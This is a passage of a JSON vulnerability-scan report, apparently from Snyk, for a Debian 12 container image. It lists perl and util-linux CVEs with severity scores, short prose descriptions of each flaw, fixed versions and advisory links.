"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-05-28T01:14:54.805456Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.7,
"cvssVersion": "3.1",
"modificationTime": "2026-07-02T07:47:08.536732Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.7,
"cvssVersion": "3.1",
"modificationTime": "2026-07-28T11:06:58.531635Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `perl` package and not the `perl` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nPerl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.\n## Remediation\nUpgrade `Debian:12` `perl` to version 5.36.0-7+deb12u4 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-8376](https://security-tracker.debian.org/tracker/CVE-2026-8376)\n- [https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch](https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch)\n- [http://www.openwall.com/lists/oss-security/2026/05/26/1](http://www.openwall.com/lists/oss-security/2026/05/26/1)\n",
"epssDetails": {
"percentile": "0.38801",
"probability": "0.00481",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-8376"
],
"CWE": [],
"ALTERNATIVE": []
},
"nvdSeverity": "critical",
"packageName": "perl",
"creationTime": "2026-05-27T18:10:28.967961Z",
"disclosureTime": "2026-05-26T00:16:57.150000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-05-27T18:10:28.973639Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-05T15:32:32.166764Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "critical",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"perl/perl-base@5.36.0-7+deb12u3"
],
"upgradePath": [
false,
"perl/perl-base@5.36.0-7+deb12u4"
],
"isUpgradable": true,
"isPatchable": false,
"name": "perl/perl-base",
"version": "5.36.0-7+deb12u3",
"nearestFixedInVersion": "5.36.0-7+deb12u4"
},
{
"id": "SNYK-DEBIAN12-PERL-17037370",
"cpes": [],
"title": "CVE-2026-42496",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
""
],
"semver": {
"vulnerable": [
"<5.36.0-7+deb12u4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"5.36.0-7+deb12u4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "critical",
"cvssScore": 9.1,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-42496",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-42496"
},
{
"url": "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch",
"title": "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch"
},
{
"url": "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes",
"title": "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42497",
"title": "https://www.cve.org/CVERecord?id=CVE-2026-42497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:30851",
"title": "https://access.redhat.com/errata/RHSA-2026:30851"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:30852",
"title": "https://access.redhat.com/errata/RHSA-2026:30852"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:30856",
"title": "https://access.redhat.com/errata/RHSA-2026:30856"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:30857",
"title": "https://access.redhat.com/errata/RHSA-2026:30857"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-42496",
"title": "https://access.redhat.com/security/cve/CVE-2026-42496"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2481314",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2481314"
},
{
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json",
"title": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-05-28T01:14:55.022369Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"cvssV3BaseScore": 8.2,
"modificationTime": "2026-06-03T14:06:17.624574Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-05-28T01:14:55.022369Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "3.1",
"modificationTime": "2026-06-03T14:06:17.624574Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `perl` package and not the `perl` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nArchive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.\n## Remediation\nUpgrade `Debian:12` `perl` to version 5.36.0-7+deb12u4 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-42496](https://security-tracker.debian.org/tracker/CVE-2026-42496)\n- [https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch](https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch)\n- [https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes](https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes)\n- [https://www.cve.org/CVERecord?id=CVE-2026-42497](https://www.cve.org/CVERecord?id=CVE-2026-42497)\n- [https://access.redhat.com/errata/RHSA-2026:30851](https://access.redhat.com/errata/RHSA-2026:30851)\n- [https://access.redhat.com/errata/RHSA-2026:30852](https://access.redhat.com/errata/RHSA-2026:30852)\n- [https://access.redhat.com/errata/RHSA-2026:30856](https://access.redhat.com/errata/RHSA-2026:30856)\n- [https://access.redhat.com/errata/RHSA-2026:30857](https://access.redhat.com/errata/RHSA-2026:30857)\n- [https://access.redhat.com/security/cve/CVE-2026-42496](https://access.redhat.com/security/cve/CVE-2026-42496)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2481314](https://bugzilla.redhat.com/show_bug.cgi?id=2481314)\n- [https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json)\n",
"epssDetails": {
"percentile": "0.34984",
"probability": "0.00430",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-42496"
],
"CWE": [],
"ALTERNATIVE": []
},
"nvdSeverity": "critical",
"packageName": "perl",
"creationTime": "2026-05-29T03:54:30.875361Z",
"disclosureTime": "2026-05-26T02:16:40.130000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-05-29T03:54:30.880836Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-05T15:29:14.185545Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "critical",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"perl/perl-base@5.36.0-7+deb12u3"
],
"upgradePath": [
false,
"perl/perl-base@5.36.0-7+deb12u4"
],
"isUpgradable": true,
"isPatchable": false,
"name": "perl/perl-base",
"version": "5.36.0-7+deb12u3",
"nearestFixedInVersion": "5.36.0-7+deb12u4"
},
{
"id": "SNYK-DEBIAN12-PERL-17037435",
"cpes": [],
"title": "CVE-2026-42497",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"credit": [
""
],
"semver": {
"vulnerable": [
"<5.36.0-7+deb12u4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"5.36.0-7+deb12u4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.5,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-42497",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-42497"
},
{
"url": "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch",
"title": "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch"
},
{
"url": "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes",
"title": "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42496",
"title": "https://www.cve.org/CVERecord?id=CVE-2026-42496"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-28T01:14:58.033365Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H",
"cvssV3BaseScore": 6.8,
"modificationTime": "2026-06-18T05:36:36.076537Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-28T01:14:58.033365Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.8,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:36:36.076537Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `perl` package and not the `perl` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nArchive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.\n## Remediation\nUpgrade `Debian:12` `perl` to version 5.36.0-7+deb12u4 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-42497](https://security-tracker.debian.org/tracker/CVE-2026-42497)\n- [https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch](https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch)\n- [https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes](https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes)\n- [https://www.cve.org/CVERecord?id=CVE-2026-42496](https://www.cve.org/CVERecord?id=CVE-2026-42496)\n",
"epssDetails": {
"percentile": "0.38002",
"probability": "0.00471",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-42497"
],
"CWE": [],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "perl",
"creationTime": "2026-05-29T04:11:59.049633Z",
"disclosureTime": "2026-05-26T02:16:40.250000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-05-29T04:11:59.053265Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-05T15:31:19.731302Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"perl/perl-base@5.36.0-7+deb12u3"
],
"upgradePath": [
false,
"perl/perl-base@5.36.0-7+deb12u4"
],
"isUpgradable": true,
"isPatchable": false,
"name": "perl/perl-base",
"version": "5.36.0-7+deb12u3",
"nearestFixedInVersion": "5.36.0-7+deb12u4"
},
{
"id": "SNYK-DEBIAN12-PERL-17960064",
"cpes": [],
"title": "CVE-2026-13221",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<5.36.0-7+deb12u4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"5.36.0-7+deb12u4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "critical",
"cvssScore": 9.1,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-13221",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-13221"
},
{
"url": "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch",
"title": "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch"
},
{
"url": "https://github.com/Perl/perl5/issues/23388",
"title": "https://github.com/Perl/perl5/issues/23388"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/07/13/5",
"title": "http://www.openwall.com/lists/oss-security/2026/07/13/5"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-09-09T01:20:11.955037Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-08-19T05:43:37.782483Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-28T11:07:01.362674Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-09T01:20:11.955037Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-08-19T05:43:37.782483Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-28T11:07:01.362674Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `perl` package and not the `perl` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nPerl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.\n## Remediation\nUpgrade `Debian:12` `perl` to version 5.36.0-7+deb12u4 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-13221](https://security-tracker.debian.org/tracker/CVE-2026-13221)\n- [https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch](https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch)\n- [https://github.com/Perl/perl5/issues/23388](https://github.com/Perl/perl5/issues/23388)\n- [http://www.openwall.com/lists/oss-security/2026/07/13/5](http://www.openwall.com/lists/oss-security/2026/07/13/5)\n",
"epssDetails": {
"percentile": "0.35340",
"probability": "0.00432",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13221"
],
"CWE": [],
"ALTERNATIVE": []
},
"nvdSeverity": "critical",
"packageName": "perl",
"creationTime": "2026-07-14T05:04:58.478519Z",
"disclosureTime": "2026-07-13T17:16:48.923000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-07-14T05:04:58.481368Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-05T15:32:04.590357Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "critical",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"perl/perl-base@5.36.0-7+deb12u3"
],
"upgradePath": [
false,
"perl/perl-base@5.36.0-7+deb12u4"
],
"isUpgradable": true,
"isPatchable": false,
"name": "perl/perl-base",
"version": "5.36.0-7+deb12u3",
"nearestFixedInVersion": "5.36.0-7+deb12u4"
},
{
"id": "SNYK-DEBIAN12-PERL-17960069",
"cpes": [],
"title": "CVE-2026-57432",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<5.36.0-7+deb12u4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"5.36.0-7+deb12u4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 8.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-57432",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-57432"
},
{
"url": "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch",
"title": "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch"
},
{
"url": "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch",
"title": "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/07/13/6",
"title": "http://www.openwall.com/lists/oss-security/2026/07/13/6"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.4,
"modificationTime": "2026-09-09T01:20:11.773900Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5,
"modificationTime": "2026-08-04T05:26:17.222570Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-28T11:07:15.786140Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 8.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-09T01:20:11.773900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:17.222570Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-28T11:07:15.786140Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `perl` package and not the `perl` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nPerl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.\n## Remediation\nUpgrade `Debian:12` `perl` to version 5.36.0-7+deb12u4 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-57432](https://security-tracker.debian.org/tracker/CVE-2026-57432)\n- [https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch](https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch)\n- [https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch](https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch)\n- [http://www.openwall.com/lists/oss-security/2026/07/13/6](http://www.openwall.com/lists/oss-security/2026/07/13/6)\n",
"epssDetails": {
"percentile": "0.10283",
"probability": "0.00211",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-57432"
],
"CWE": [],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "perl",
"creationTime": "2026-07-14T05:05:14.787382Z",
"disclosureTime": "2026-07-13T17:17:55.670000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-07-14T05:05:14.790457Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-05T15:29:14.889406Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"perl/perl-base@5.36.0-7+deb12u3"
],
"upgradePath": [
false,
"perl/perl-base@5.36.0-7+deb12u4"
],
"isUpgradable": true,
"isPatchable": false,
"name": "perl/perl-base",
"version": "5.36.0-7+deb12u3",
"nearestFixedInVersion": "5.36.0-7+deb12u4"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- 